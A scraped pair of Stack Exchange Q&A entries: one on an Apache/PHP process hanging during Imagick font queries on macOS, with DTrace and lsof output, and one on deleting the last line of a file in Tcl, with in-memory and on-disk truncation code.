问:
Http process hang at PHP's Imagick's setFont(or any font operation) in macOS 10.12
I've asked for this problem before.

I open this questions because I found another thing I don't know how to do.

I've checked the problem using DTrace, and I found when I try to access the PHP, the system will go into infinite loop of this:

```<code>select(0x0, 0x0, 0x0, 0x0, 0x7FFF4FDDCB70)               = 0 0
wait4(0xFFFFFFFF, 0x7FFF4FDDCB54, 0x3)           = 0 0
select(0x0, 0x0, 0x0, 0x0, 0x7FFF4FDDCB70)               = 0 0
wait4(0xFFFFFFFF, 0x7FFF4FDDCB54, 0x3)           = 0 0
</code>```

Seems, it is trying to open some file, but kept waiting for it.

The PHP code is pretty simple:

```<code><?php echo count(Imagick::queryFonts());
</code>```

What should I do for now? I've checked the opened files they are like this:

```<code>COMMAND   PID USER   FD    TYPE             DEVICE  SIZE/OFF      NODE NAME
httpd   37639 root  cwd     DIR                1,4      1462         2 /
httpd   37639 root  txt     REG                1,4    407868 357831135 /opt/local/apache2/bin/httpd
httpd   37639 root  txt     REG                1,4    439776 359328665 /opt/local/lib/libpcre.1.dylib
httpd   37639 root  txt     REG                1,4    129020 338745171 /opt/local/lib/libaprutil-1.0.dylib
httpd   37639 root  txt     REG                1,4      9428 357829904 /opt/local/apache2/modules/mod_authn_file.so
httpd   37639 root  txt     REG                1,4      9424 357829902 /opt/local/apache2/modules/mod_authn_dbm.so
httpd   37639 root  txt     REG                1,4    987924 338659937 /opt/local/lib/db46/libdb-4.6.dylib
httpd   37639 root  txt     REG                1,4    130028 355436275 /opt/local/lib/libexpat.1.dylib
httpd   37639 root  txt     REG                1,4      9120 357829900 /opt/local/apache2/modules/mod_authn_anon.so
httpd   37639 root  txt     REG                1,4   1057000 359860447 /opt/local/lib/libiconv.2.dylib
httpd   37639 root  txt     REG                1,4    159012 338745074 /opt/local/lib/libapr-1.0.dylib
httpd   37639 root  txt     REG                1,4     14036 357829901 /opt/local/apache2/modules/mod_authn_dbd.so
httpd   37639 root  txt     REG                1,4      9032 357829903 /opt/local/apache2/modules/mod_authn_default.so
httpd   37639 root  txt     REG                1,4      9664 357829899 /opt/local/apache2/modules/mod_authn_alias.so
httpd   37639 root  txt     REG                1,4     13956 357829908 /opt/local/apache2/modules/mod_authz_host.so
httpd   37639 root  txt     REG                1,4     14568 357829907 /opt/local/apache2/modules/mod_authz_groupfile.so
httpd   37639 root  txt     REG                1,4      9120 357829910 /opt/local/apache2/modules/mod_authz_user.so
httpd   37639 root  txt     REG                1,4     13984 357829905 /opt/local/apache2/modules/mod_authz_dbm.so
httpd   37639 root  txt     REG                1,4      9360 357829909 /opt/local/apache2/modules/mod_authz_owner.so
httpd   37639 root  txt     REG                1,4      8896 357829906 /opt/local/apache2/modules/mod_authz_default.so
httpd   37639 root  txt     REG                1,4     13956 357829897 /opt/local/apache2/modules/mod_auth_basic.so
httpd   37639 root  txt     REG                1,4     24620 357829898 /opt/local/apache2/modules/mod_auth_digest.so
httpd   37639 root  txt     REG                1,4     15068 357829925 /opt/local/apache2/modules/mod_file_cache.so
httpd   37639 root  txt     REG                1,4     36252 357829912 /opt/local/apache2/modules/mod_cache.so
httpd   37639 root  txt     REG                1,4     24840 357829920 /opt/local/apache2/modules/mod_disk_cache.so
httpd   37639 root  txt     REG                1,4     26776 357829935 /opt/local/apache2/modules/mod_mem_cache.so
httpd   37639 root  txt     REG                1,4     19812 357829917 /opt/local/apache2/modules/mod_dbd.so
httpd   37639 root  txt     REG                1,4     13916 357829921 /opt/local/apache2/modules/mod_dumpio.so
httpd   37639 root  txt     REG                1,4     14504 357829946 /opt/local/apache2/modules/mod_reqtimeout.so
httpd   37639 root  txt     REG                1,4     21764 357829924 /opt/local/apache2/modules/mod_ext_filter.so
httpd   37639 root  txt     REG                1,4     42796 357829930 /opt/local/apache2/modules/mod_include.so
httpd   37639 root  txt     REG                1,4     18824 357829926 /opt/local/apache2/modules/mod_filter.so
httpd   37639 root  txt     REG                1,4     14752 357829952 /opt/local/apache2/modules/mod_substitute.so
httpd   37639 root  txt     REG                1,4     28824 357829918 /opt/local/apache2/modules/mod_deflate.so
httpd   37639 root  txt     REG                1,4     80924 357826839 /opt/local/lib/libz.1.2.11.dylib
httpd   37639 root  txt     REG                1,4     27332 357829932 /opt/local/apache2/modules/mod_log_config.so
httpd   37639 root  txt     REG                1,4     14256 357829933 /opt/local/apache2/modules/mod_log_forensic.so
httpd   37639 root  txt     REG                1,4      9988 357829934 /opt/local/apache2/modules/mod_logio.so
httpd   37639 root  txt     REG                1,4      9376 357829922 /opt/local/apache2/modules/mod_env.so
httpd   37639 root  txt     REG                1,4     24040 357829937 /opt/local/apache2/modules/mod_mime_magic.so
httpd   37639 root  txt     REG                1,4     14208 357829913 /opt/local/apache2/modules/mod_cern_meta.so
httpd   37639 root  txt     REG                1,4     14392 357829923 /opt/local/apache2/modules/mod_expires.so
httpd   37639 root  txt     REG                1,4     20752 357829927 /opt/local/apache2/modules/mod_headers.so
httpd   37639 root  txt     REG                1,4     13980 357829928 /opt/local/apache2/modules/mod_ident.so
httpd   37639 root  txt     REG                1,4     14536 357829955 /opt/local/apache2/modules/mod_usertrack.so
httpd   37639 root  txt     REG                1,4     13924 357829953 /opt/local/apache2/modules/mod_unique_id.so
httpd   37639 root  txt     REG                1,4     14412 357829948 /opt/local/apache2/modules/mod_setenvif.so
httpd   37639 root  txt     REG                1,4     13364 357829956 /opt/local/apache2/modules/mod_version.so
httpd   37639 root  txt     REG                1,4     73816 357829939 /opt/local/apache2/modules/mod_proxy.so
httpd   37639 root  txt     REG                1,4     14040 357829942 /opt/local/apache2/modules/mod_proxy_connect.so
httpd   37639 root  txt     REG                1,4     35416 357829943 /opt/local/apache2/modules/mod_proxy_ftp.so
httpd   37639 root  txt     REG                1,4     36100 357829944 /opt/local/apache2/modules/mod_proxy_http.so
httpd   37639 root  txt     REG                1,4     16476 357829945 /opt/local/apache2/modules/mod_proxy_scgi.so
httpd   37639 root  txt     REG                1,4     34988 357829940 /opt/local/apache2/modules/mod_proxy_ajp.so
httpd   37639 root  txt     REG                1,4     29480 357829941 /opt/local/apache2/modules/mod_proxy_balancer.so
httpd   37639 root  txt     REG                1,4    172352 357829950 /opt/local/apache2/modules/mod_ssl.so
httpd   37639 root  txt     REG                1,4    405728 359056150 /opt/local/lib/libssl.1.0.0.dylib
httpd   37639 root  txt     REG                1,4   2066240 359056147 /opt/local/lib/libcrypto.1.0.0.dylib
httpd   37639 root  txt     REG                1,4     19560 357829936 /opt/local/apache2/modules/mod_mime.so
httpd   37639 root  txt     REG                1,4     82224 357829915 /opt/local/apache2/modules/mod_dav.so
httpd   37639 root  txt     REG                1,4     23472 357829951 /opt/local/apache2/modules/mod_status.so
httpd   37639 root  txt     REG                1,4     34408 357829911 /opt/local/apache2/modules/mod_autoindex.so
httpd   37639 root  txt     REG                1,4      9328 357829896 /opt/local/apache2/modules/mod_asis.so
httpd   37639 root  txt     REG                1,4     20484 357829931 /opt/local/apache2/modules/mod_info.so
httpd   37639 root  txt     REG                1,4     27580 357829914 /opt/local/apache2/modules/mod_cgi.so
httpd   37639 root  txt     REG                1,4     46604 357829916 /opt/local/apache2/modules/mod_dav_fs.so
httpd   37639 root  txt     REG                1,4     13812 357829957 /opt/local/apache2/modules/mod_vhost_alias.so
httpd   37639 root  txt     REG                1,4     34360 357829938 /opt/local/apache2/modules/mod_negotiation.so
httpd   37639 root  txt     REG                1,4     13876 357829919 /opt/local/apache2/modules/mod_dir.so
httpd   37639 root  txt     REG                1,4     18576 357829929 /opt/local/apache2/modules/mod_imagemap.so
httpd   37639 root  txt     REG                1,4      9544 357829894 /opt/local/apache2/modules/mod_actions.so
httpd   37639 root  txt     REG                1,4     14408 357829949 /opt/local/apache2/modules/mod_speling.so
httpd   37639 root  txt     REG                1,4     13768 357829954 /opt/local/apache2/modules/mod_userdir.so
httpd   37639 root  txt     REG                1,4     14612 357829895 /opt/local/apache2/modules/mod_alias.so
httpd   37639 root  txt     REG                1,4     60220 357829947 /opt/local/apache2/modules/mod_rewrite.so
httpd   37639 root  txt     REG                1,4   7767324 363852380 /opt/local/apache2/modules/mod_php70.so
httpd   37639 root  txt     REG                1,4     86384 355443983 /opt/local/lib/libbz2.1.0.6.dylib
httpd   37639 root  txt     REG                1,4   1185852 355443860 /opt/local/lib/libxml2.2.dylib
httpd   37639 root  txt     REG                1,4    138332 355807972 /opt/local/lib/liblzma.5.dylib
httpd   37639 root  txt     REG                1,4    150888 363852810 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/opcache.so
httpd   37639 root  txt     REG                1,4     82972 363852434 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/curl.so
httpd   37639 root  txt     REG                1,4    387940 362694902 /opt/local/lib/libcurl.4.dylib
httpd   37639 root  txt     REG                1,4    344180 363852487 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/gd.so
httpd   37639 root  txt     REG                1,4     14316 355447988 /opt/local/lib/libXau.6.dylib
httpd   37639 root  txt     REG                1,4     15148 359412965 /opt/local/lib/libcom_err.1.1.dylib
httpd   37639 root  txt     REG                1,4   1688784 331297873 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/clips.so
httpd   37639 root  txt     REG                1,4    176948 357833609 /opt/local/lib/libpng16.16.dylib
httpd   37639 root  txt     REG                1,4    207280 355473744 /opt/local/lib/libjpeg.9.dylib
httpd   37639 root  txt     REG                1,4    375368 360003315 /opt/local/lib/libwebp.7.dylib
httpd   37639 root  txt     REG                1,4    600020 355807781 /opt/local/lib/libfreetype.6.dylib
httpd   37639 root  txt     REG                1,4     40588 363852586 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/iconv.so
httpd   37639 root  txt     REG                1,4    329340 359332579 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/imagick.so
httpd   37639 root  txt     REG                1,4   1290088 362735327 /opt/local/lib/libMagickWand-6.Q16.4.dylib
httpd   37639 root  txt     REG                1,4   2263816 362735323 /opt/local/lib/libMagickCore-6.Q16.4.dylib
httpd   37639 root  txt     REG                1,4    300176 355476049 /opt/local/lib/liblcms2.2.dylib
httpd   37639 root  txt     REG                1,4   1022420 355476417 /opt/local/lib/libfftw3.3.dylib
httpd   37639 root  txt     REG                1,4    246928 355447385 /opt/local/lib/libfontconfig.1.dylib
httpd   37639 root  txt     REG                1,4     63460 355464063 /opt/local/lib/libXext.6.dylib
httpd   37639 root  txt     REG                1,4    328232 355477069 /opt/local/lib/libXt.6.dylib
httpd   37639 root  txt     REG                1,4     35780 355445162 /opt/local/lib/libltdl.7.dylib
httpd   37639 root  txt     REG                1,4     34360 359304584 /opt/local/lib/libSM.6.dylib
httpd   37639 root  txt     REG                1,4     84496 355476098 /opt/local/lib/libICE.6.dylib
httpd   37639 root  txt     REG                1,4   1133072 355463775 /opt/local/lib/libX11.6.dylib
httpd   37639 root  txt     REG                1,4    142196 355462508 /opt/local/lib/libxcb.1.dylib
httpd   37639 root  txt     REG                1,4     23460 355447932 /opt/local/lib/libXdmcp.6.dylib
httpd   37639 root  txt     REG                1,4   1340628 363852649 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/mbstring.so
httpd   37639 root  txt     REG                1,4    111088 363852733 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/mysqli.so
httpd   37639 root  txt     REG                1,4     26308 363852734 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/pdo_mysql.so
httpd   37639 root  txt     REG                1,4    137024 363852867 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/openssl.so
httpd   37639 root  txt     REG                1,4    247056 362709877 /opt/local/lib/libgssapi_krb5.2.2.dylib
httpd   37639 root  txt     REG                1,4    745108 362709900 /opt/local/lib/libkrb5.3.3.dylib
httpd   37639 root  txt     REG                1,4     90356 362709883 /opt/local/lib/libk5crypto.3.1.dylib
httpd   37639 root  txt     REG                1,4     42020 362709903 /opt/local/lib/libkrb5support.1.1.dylib
httpd   37639 root  txt     REG                1,4     50156 355442874 /opt/local/lib/libintl.8.dylib
httpd   37639 root  txt     REG                1,4    111952 363852919 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/zip.so
httpd   37639 root  txt     REG                1,4    697712 365015204 /usr/lib/dyld
httpd   37639 root  txt     REG                1,4 673185792 365076146 /private/var/db/dyld/dyld_shared_cache_x86_64
httpd   37639 root    0r    CHR                3,2       0t0       305 /dev/null
httpd   37639 root    1w    CHR                3,2       0t0       305 /dev/null
httpd   37639 root    2w    REG                1,4   5286028 200044953 /opt/local/apache2/logs/error_log
httpd   37639 root    3r    CHR                3,2       0t0       305 /dev/null
httpd   37639 root    4u  systm                          0t0
httpd   37639 root    5u   IPv6 0x4caef1335c227d7d       0t0       TCP *:http (LISTEN)
httpd   37639 root    6u   IPv4 0x4caef13355c41c85       0t0       TCP *:* (CLOSED)
httpd   37639 root    7u   unix 0x4caef13361a9b03d       0t0           ->0x4caef133493fa99d
httpd   37639 root    8u   unix 0x4caef13361a9b105       0t0           ->0x4caef13361a9cc5d
httpd   37639 root    9    PIPE 0x4caef133511a83dd     16384           ->0x4caef133511a675d
httpd   37639 root   10    PIPE 0x4caef133511a675d     16384           ->0x4caef133511a83dd
httpd   37639 root   11w    REG                1,4  51704973    842973 /opt/local/apache2/logs/access_log
httpd   37639 root   12u    REG                1,4         0 365092611 /private/tmp/.ZendSem.IBeoef
</code>```

What should I do from now?

答: The select and wait4 seems to be normal for Apache. Just showing the socket listening is working, has nothing to do with my question, so need to close this question for now.</p>

Body:
I've asked for this problem before.

I open this questions because I found another thing I don't know how to do.

I've checked the problem using DTrace, and I found when I try to access the PHP, the system will go into infinite loop of this:

select(0x0, 0x0, 0x0, 0x0, 0x7FFF4FDDCB70)               = 0 0
wait4(0xFFFFFFFF, 0x7FFF4FDDCB54, 0x3)           = 0 0
select(0x0, 0x0, 0x0, 0x0, 0x7FFF4FDDCB70)               = 0 0
wait4(0xFFFFFFFF, 0x7FFF4FDDCB54, 0x3)           = 0 0

Seems, it is trying to open some file, but kept waiting for it.

The PHP code is pretty simple:

<?php echo count(Imagick::queryFonts());

What should I do for now? I've checked the opened files they are like this:

COMMAND   PID USER   FD    TYPE             DEVICE  SIZE/OFF      NODE NAME
httpd   37639 root  cwd     DIR                1,4      1462         2 /
httpd   37639 root  txt     REG                1,4    407868 357831135 /opt/local/apache2/bin/httpd
httpd   37639 root  txt     REG                1,4    439776 359328665 /opt/local/lib/libpcre.1.dylib
httpd   37639 root  txt     REG                1,4    129020 338745171 /opt/local/lib/libaprutil-1.0.dylib
httpd   37639 root  txt     REG                1,4      9428 357829904 /opt/local/apache2/modules/mod_authn_file.so
httpd   37639 root  txt     REG                1,4      9424 357829902 /opt/local/apache2/modules/mod_authn_dbm.so
httpd   37639 root  txt     REG                1,4    987924 338659937 /opt/local/lib/db46/libdb-4.6.dylib
httpd   37639 root  txt     REG                1,4    130028 355436275 /opt/local/lib/libexpat.1.dylib
httpd   37639 root  txt     REG                1,4      9120 357829900 /opt/local/apache2/modules/mod_authn_anon.so
httpd   37639 root  txt     REG                1,4   1057000 359860447 /opt/local/lib/libiconv.2.dylib
httpd   37639 root  txt     REG                1,4    159012 338745074 /opt/local/lib/libapr-1.0.dylib
httpd   37639 root  txt     REG                1,4     14036 357829901 /opt/local/apache2/modules/mod_authn_dbd.so
httpd   37639 root  txt     REG                1,4      9032 357829903 /opt/local/apache2/modules/mod_authn_default.so
httpd   37639 root  txt     REG                1,4      9664 357829899 /opt/local/apache2/modules/mod_authn_alias.so
httpd   37639 root  txt     REG                1,4     13956 357829908 /opt/local/apache2/modules/mod_authz_host.so
httpd   37639 root  txt     REG                1,4     14568 357829907 /opt/local/apache2/modules/mod_authz_groupfile.so
httpd   37639 root  txt     REG                1,4      9120 357829910 /opt/local/apache2/modules/mod_authz_user.so
httpd   37639 root  txt     REG                1,4     13984 357829905 /opt/local/apache2/modules/mod_authz_dbm.so
httpd   37639 root  txt     REG                1,4      9360 357829909 /opt/local/apache2/modules/mod_authz_owner.so
httpd   37639 root  txt     REG                1,4      8896 357829906 /opt/local/apache2/modules/mod_authz_default.so
httpd   37639 root  txt     REG                1,4     13956 357829897 /opt/local/apache2/modules/mod_auth_basic.so
httpd   37639 root  txt     REG                1,4     24620 357829898 /opt/local/apache2/modules/mod_auth_digest.so
httpd   37639 root  txt     REG                1,4     15068 357829925 /opt/local/apache2/modules/mod_file_cache.so
httpd   37639 root  txt     REG                1,4     36252 357829912 /opt/local/apache2/modules/mod_cache.so
httpd   37639 root  txt     REG                1,4     24840 357829920 /opt/local/apache2/modules/mod_disk_cache.so
httpd   37639 root  txt     REG                1,4     26776 357829935 /opt/local/apache2/modules/mod_mem_cache.so
httpd   37639 root  txt     REG                1,4     19812 357829917 /opt/local/apache2/modules/mod_dbd.so
httpd   37639 root  txt     REG                1,4     13916 357829921 /opt/local/apache2/modules/mod_dumpio.so
httpd   37639 root  txt     REG                1,4     14504 357829946 /opt/local/apache2/modules/mod_reqtimeout.so
httpd   37639 root  txt     REG                1,4     21764 357829924 /opt/local/apache2/modules/mod_ext_filter.so
httpd   37639 root  txt     REG                1,4     42796 357829930 /opt/local/apache2/modules/mod_include.so
httpd   37639 root  txt     REG                1,4     18824 357829926 /opt/local/apache2/modules/mod_filter.so
httpd   37639 root  txt     REG                1,4     14752 357829952 /opt/local/apache2/modules/mod_substitute.so
httpd   37639 root  txt     REG                1,4     28824 357829918 /opt/local/apache2/modules/mod_deflate.so
httpd   37639 root  txt     REG                1,4     80924 357826839 /opt/local/lib/libz.1.2.11.dylib
httpd   37639 root  txt     REG                1,4     27332 357829932 /opt/local/apache2/modules/mod_log_config.so
httpd   37639 root  txt     REG                1,4     14256 357829933 /opt/local/apache2/modules/mod_log_forensic.so
httpd   37639 root  txt     REG                1,4      9988 357829934 /opt/local/apache2/modules/mod_logio.so
httpd   37639 root  txt     REG                1,4      9376 357829922 /opt/local/apache2/modules/mod_env.so
httpd   37639 root  txt     REG                1,4     24040 357829937 /opt/local/apache2/modules/mod_mime_magic.so
httpd   37639 root  txt     REG                1,4     14208 357829913 /opt/local/apache2/modules/mod_cern_meta.so
httpd   37639 root  txt     REG                1,4     14392 357829923 /opt/local/apache2/modules/mod_expires.so
httpd   37639 root  txt     REG                1,4     20752 357829927 /opt/local/apache2/modules/mod_headers.so
httpd   37639 root  txt     REG                1,4     13980 357829928 /opt/local/apache2/modules/mod_ident.so
httpd   37639 root  txt     REG                1,4     14536 357829955 /opt/local/apache2/modules/mod_usertrack.so
httpd   37639 root  txt     REG                1,4     13924 357829953 /opt/local/apache2/modules/mod_unique_id.so
httpd   37639 root  txt     REG                1,4     14412 357829948 /opt/local/apache2/modules/mod_setenvif.so
httpd   37639 root  txt     REG                1,4     13364 357829956 /opt/local/apache2/modules/mod_version.so
httpd   37639 root  txt     REG                1,4     73816 357829939 /opt/local/apache2/modules/mod_proxy.so
httpd   37639 root  txt     REG                1,4     14040 357829942 /opt/local/apache2/modules/mod_proxy_connect.so
httpd   37639 root  txt     REG                1,4     35416 357829943 /opt/local/apache2/modules/mod_proxy_ftp.so
httpd   37639 root  txt     REG                1,4     36100 357829944 /opt/local/apache2/modules/mod_proxy_http.so
httpd   37639 root  txt     REG                1,4     16476 357829945 /opt/local/apache2/modules/mod_proxy_scgi.so
httpd   37639 root  txt     REG                1,4     34988 357829940 /opt/local/apache2/modules/mod_proxy_ajp.so
httpd   37639 root  txt     REG                1,4     29480 357829941 /opt/local/apache2/modules/mod_proxy_balancer.so
httpd   37639 root  txt     REG                1,4    172352 357829950 /opt/local/apache2/modules/mod_ssl.so
httpd   37639 root  txt     REG                1,4    405728 359056150 /opt/local/lib/libssl.1.0.0.dylib
httpd   37639 root  txt     REG                1,4   2066240 359056147 /opt/local/lib/libcrypto.1.0.0.dylib
httpd   37639 root  txt     REG                1,4     19560 357829936 /opt/local/apache2/modules/mod_mime.so
httpd   37639 root  txt     REG                1,4     82224 357829915 /opt/local/apache2/modules/mod_dav.so
httpd   37639 root  txt     REG                1,4     23472 357829951 /opt/local/apache2/modules/mod_status.so
httpd   37639 root  txt     REG                1,4     34408 357829911 /opt/local/apache2/modules/mod_autoindex.so
httpd   37639 root  txt     REG                1,4      9328 357829896 /opt/local/apache2/modules/mod_asis.so
httpd   37639 root  txt     REG                1,4     20484 357829931 /opt/local/apache2/modules/mod_info.so
httpd   37639 root  txt     REG                1,4     27580 357829914 /opt/local/apache2/modules/mod_cgi.so
httpd   37639 root  txt     REG                1,4     46604 357829916 /opt/local/apache2/modules/mod_dav_fs.so
httpd   37639 root  txt     REG                1,4     13812 357829957 /opt/local/apache2/modules/mod_vhost_alias.so
httpd   37639 root  txt     REG                1,4     34360 357829938 /opt/local/apache2/modules/mod_negotiation.so
httpd   37639 root  txt     REG                1,4     13876 357829919 /opt/local/apache2/modules/mod_dir.so
httpd   37639 root  txt     REG                1,4     18576 357829929 /opt/local/apache2/modules/mod_imagemap.so
httpd   37639 root  txt     REG                1,4      9544 357829894 /opt/local/apache2/modules/mod_actions.so
httpd   37639 root  txt     REG                1,4     14408 357829949 /opt/local/apache2/modules/mod_speling.so
httpd   37639 root  txt     REG                1,4     13768 357829954 /opt/local/apache2/modules/mod_userdir.so
httpd   37639 root  txt     REG                1,4     14612 357829895 /opt/local/apache2/modules/mod_alias.so
httpd   37639 root  txt     REG                1,4     60220 357829947 /opt/local/apache2/modules/mod_rewrite.so
httpd   37639 root  txt     REG                1,4   7767324 363852380 /opt/local/apache2/modules/mod_php70.so
httpd   37639 root  txt     REG                1,4     86384 355443983 /opt/local/lib/libbz2.1.0.6.dylib
httpd   37639 root  txt     REG                1,4   1185852 355443860 /opt/local/lib/libxml2.2.dylib
httpd   37639 root  txt     REG                1,4    138332 355807972 /opt/local/lib/liblzma.5.dylib
httpd   37639 root  txt     REG                1,4    150888 363852810 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/opcache.so
httpd   37639 root  txt     REG                1,4     82972 363852434 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/curl.so
httpd   37639 root  txt     REG                1,4    387940 362694902 /opt/local/lib/libcurl.4.dylib
httpd   37639 root  txt     REG                1,4    344180 363852487 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/gd.so
httpd   37639 root  txt     REG                1,4     14316 355447988 /opt/local/lib/libXau.6.dylib
httpd   37639 root  txt     REG                1,4     15148 359412965 /opt/local/lib/libcom_err.1.1.dylib
httpd   37639 root  txt     REG                1,4   1688784 331297873 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/clips.so
httpd   37639 root  txt     REG                1,4    176948 357833609 /opt/local/lib/libpng16.16.dylib
httpd   37639 root  txt     REG                1,4    207280 355473744 /opt/local/lib/libjpeg.9.dylib
httpd   37639 root  txt     REG                1,4    375368 360003315 /opt/local/lib/libwebp.7.dylib
httpd   37639 root  txt     REG                1,4    600020 355807781 /opt/local/lib/libfreetype.6.dylib
httpd   37639 root  txt     REG                1,4     40588 363852586 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/iconv.so
httpd   37639 root  txt     REG                1,4    329340 359332579 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/imagick.so
httpd   37639 root  txt     REG                1,4   1290088 362735327 /opt/local/lib/libMagickWand-6.Q16.4.dylib
httpd   37639 root  txt     REG                1,4   2263816 362735323 /opt/local/lib/libMagickCore-6.Q16.4.dylib
httpd   37639 root  txt     REG                1,4    300176 355476049 /opt/local/lib/liblcms2.2.dylib
httpd   37639 root  txt     REG                1,4   1022420 355476417 /opt/local/lib/libfftw3.3.dylib
httpd   37639 root  txt     REG                1,4    246928 355447385 /opt/local/lib/libfontconfig.1.dylib
httpd   37639 root  txt     REG                1,4     63460 355464063 /opt/local/lib/libXext.6.dylib
httpd   37639 root  txt     REG                1,4    328232 355477069 /opt/local/lib/libXt.6.dylib
httpd   37639 root  txt     REG                1,4     35780 355445162 /opt/local/lib/libltdl.7.dylib
httpd   37639 root  txt     REG                1,4     34360 359304584 /opt/local/lib/libSM.6.dylib
httpd   37639 root  txt     REG                1,4     84496 355476098 /opt/local/lib/libICE.6.dylib
httpd   37639 root  txt     REG                1,4   1133072 355463775 /opt/local/lib/libX11.6.dylib
httpd   37639 root  txt     REG                1,4    142196 355462508 /opt/local/lib/libxcb.1.dylib
httpd   37639 root  txt     REG                1,4     23460 355447932 /opt/local/lib/libXdmcp.6.dylib
httpd   37639 root  txt     REG                1,4   1340628 363852649 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/mbstring.so
httpd   37639 root  txt     REG                1,4    111088 363852733 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/mysqli.so
httpd   37639 root  txt     REG                1,4     26308 363852734 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/pdo_mysql.so
httpd   37639 root  txt     REG                1,4    137024 363852867 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/openssl.so
httpd   37639 root  txt     REG                1,4    247056 362709877 /opt/local/lib/libgssapi_krb5.2.2.dylib
httpd   37639 root  txt     REG                1,4    745108 362709900 /opt/local/lib/libkrb5.3.3.dylib
httpd   37639 root  txt     REG                1,4     90356 362709883 /opt/local/lib/libk5crypto.3.1.dylib
httpd   37639 root  txt     REG                1,4     42020 362709903 /opt/local/lib/libkrb5support.1.1.dylib
httpd   37639 root  txt     REG                1,4     50156 355442874 /opt/local/lib/libintl.8.dylib
httpd   37639 root  txt     REG                1,4    111952 363852919 /opt/local/lib/php70/extensions/no-debug-non-zts-20151012/zip.so
httpd   37639 root  txt     REG                1,4    697712 365015204 /usr/lib/dyld
httpd   37639 root  txt     REG                1,4 673185792 365076146 /private/var/db/dyld/dyld_shared_cache_x86_64
httpd   37639 root    0r    CHR                3,2       0t0       305 /dev/null
httpd   37639 root    1w    CHR                3,2       0t0       305 /dev/null
httpd   37639 root    2w    REG                1,4   5286028 200044953 /opt/local/apache2/logs/error_log
httpd   37639 root    3r    CHR                3,2       0t0       305 /dev/null
httpd   37639 root    4u  systm                          0t0
httpd   37639 root    5u   IPv6 0x4caef1335c227d7d       0t0       TCP *:http (LISTEN)
httpd   37639 root    6u   IPv4 0x4caef13355c41c85       0t0       TCP *:* (CLOSED)
httpd   37639 root    7u   unix 0x4caef13361a9b03d       0t0           ->0x4caef133493fa99d
httpd   37639 root    8u   unix 0x4caef13361a9b105       0t0           ->0x4caef13361a9cc5d
httpd   37639 root    9    PIPE 0x4caef133511a83dd     16384           ->0x4caef133511a675d
httpd   37639 root   10    PIPE 0x4caef133511a675d     16384           ->0x4caef133511a83dd
httpd   37639 root   11w    REG                1,4  51704973    842973 /opt/local/apache2/logs/access_log
httpd   37639 root   12u    REG                1,4         0 365092611 /private/tmp/.ZendSem.IBeoef

What should I do from now?


来源: stackexchange

问:
how to write a tcl script to delete last line of a file
I have to delete the last line of file in using tcl script. I know the content so content replacement is also ok. But my content is  which has to be replaced by a space or newline character or have to deleted. And my job is in a loop.

Please let me know which is the efficient way, capturing the entire file content each time in loop and replace that string is better or deleting simply the last line.

Please give some script code because I am very new to tcl.

答:
Are we talking about removing the last line from the data on disk or the data in memory? It matters because the approach you use to do those two cases is entirely different.

In memory

Exactly how you manipulate things in memory depends on whether you're representing the data as list of lines or a big string. Both approaches work. (You could be doing something else too, I suppose, but these two are the common obvious ways.)

If you've got your data as a list of lines in memory, you can simply do (assuming you're holding the lines in a variable called theLines):

```<code>set theLines [lreplace $theLines end end]
</code>```

For a particularly large list, there are a few tricks to make it more efficient, but they come down to careful management of references:

```<code># Needs a new enough Tcl (8.5 or 8.6 IIRC)
set theLines [lreplace $theLines[set theLines ""] end end]
</code>```

Try the first version instead of this if you don't know you need it. Also be aware that if you're wanting to keep the original list of lines around, you should definitely use the first approach.

You might instead have the data in memory as a single big string. In that case, we can use some of Tcl's string searching capabilities to do the job.

```<code>set index [string last "\n" $theString end-1]
set theString [string range $theString 0 $index]
</code>```

The optimisation mentioned above in relation to lreplace is also applicable here (with all the same caveats):

```<code>set index [string last "\n" $theString end-1]
set theString [string range $theString[set theString ""] 0 $index]
</code>```

On disk

When working on disk, things are different. There you need to be much more careful since you can't undo changes easily. There are two general approaches:

Read the file into memory, do the change there (using the techniques above), and do a (destructive) ordinary write out. This is the approach you need when you are doing many other changes anyway (e.g., removing a line from the middle, adding a line to the middle, adding or removing characters from a line in the middle).

```<code>set filename "..."

# Open a file and read its lines into a list
set f [open $filename]
set theLines [split [read $f] "\n"]
close $f

# Transform (you should recognise this from above)
set theLines [lreplace $theLines end end]

# Write the file back out
set f [open $filename "w"]
puts -nonewline $f [join $theLines "\n"]
close $f
</code>```

Find where the data you don't want starts as an offset in the file and truncate the file at that point. This is the right approach with a very large file, but it is rather more sophisticated.

```<code>set f [open $filename "r+"];   # NEED the read-write mode!
seek $f -1000 end;             # Move to a little bit before the end of the file.
                               # Unnecessary, and guesswork, but can work  and will
                               # speed things up for a big file very much

# Find the length that we want the file to become. We do this by building a list of
# offsets into the file.
set ptrList {}
while {![eof $f]} {
    lappend ptrList [tell $f]
    gets $f
}

# The length we want is one step back from the end of the list
set wantedLength [lindex $ptrList end-1]

# Do the truncation!
chan truncate $f $wantedLength
close $f
</code>```

However you do the disk transformations, make sure you test on a trash file before applying it to anything real! In particular, I've not checked what the truncation method does on a file without a newline at the end. It probably works, but you should test.

ContentLicense: CC BY-SA 3.0

Body:
Are we talking about removing the last line from the data on disk or the data in memory? It matters because the approach you use to do those two cases is entirely different.

In memory

Exactly how you manipulate things in memory depends on whether you're representing the data as list of lines or a big string. Both approaches work. (You could be doing something else too, I suppose, but these two are the common obvious ways.)

If you've got your data as a list of lines in memory, you can simply do (assuming you're holding the lines in a variable called theLines):

set theLines [lreplace $theLines end end]

